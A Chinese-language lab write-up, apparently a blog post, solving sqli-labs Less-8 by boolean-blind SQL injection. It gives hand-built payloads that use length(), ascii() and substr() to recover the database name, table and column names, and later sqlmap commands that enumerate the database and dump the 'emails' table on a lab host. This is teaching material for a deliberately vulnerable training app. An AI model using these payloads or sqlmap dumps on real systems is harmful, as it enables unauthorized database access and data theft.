sqli-labs 布尔注入

目录

一、手工注入

二、sqlmap注入



一、手工注入

1.获取数据库名称:

sqli-labs 的第八关是布尔盲注

 因此我们构造sql语句获取数据库的名字

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'and (length(database()))>7-- wqe

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'and (length(database()))>8-- wqe

我们可以看出数据库的名字长度大于7,不大于8,因此可以得出数据库名字长为8

再利用ASCII码解当前数据库名称

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'and (ascii(substr(database(),1,1)))>100
-- wqe

 

最后对照ASCII对照表

 不断地进行尝试最终得出数据库的名称为security

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'and (ascii(substr(database(),1,1)))>100
-- wqe中database()后面第一个1代表数据库的第一个字符,第二个1是指的几位。

2.获取表名

1' and (ascii(substr((select table_name from information_schema.tables
 where table_schema=''security limit 0,1),1,1)))>100 -- qwe
(不断改变范围,把第一张数据表的第一个字母猜解出来)

1' and (ascii(substr((select table_name from information_schema.tables
 where table_schema='security' limit 0,1),2,1)))>100 -- qwe
(不断改变范围,把第一张数据表的第二个字母猜解出来)

1' and (ascii(substr((select table_name from information_schema.tables
 where table_schema='security' limit 0,1),3,1)))>100 -- qwe
(不断改变范围,把第一张数据表的第三个字母猜解出来)

......
......
最后得到表名为emails

3.获取字段

1' and (ascii(substr((select column_name from information_schema.columns
 where table_name='emails'),1,1)))>100 -- wqe
(不断改变范围,把字段名猜解出来)

......
得到字段名为id

4.获取信息

1' and (ascii(substr((select id from emails limit 0,1),1,1)))>0 -- qe


但是要获取flag的值要一个一个字母猜解,这时候就要用到工具sqlmap

二、sqlmap注入

在kali里

1.爆数据库名

sqlmap -u "10.32.68.48/sqli-labs-master/Less-8/?id=1" --current-db

得到名字为security

2.爆表

sqlmap -u "10.32.68.48/sqli-labs-master/Less-8/?id=1" -D security --tables

 

 得到四个表

3.爆字段

sqlmap -u "10.32.68.48/sqli-labs-master/Less-8/?id=1" -D security -T emails --dump

得到表的信息

 

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值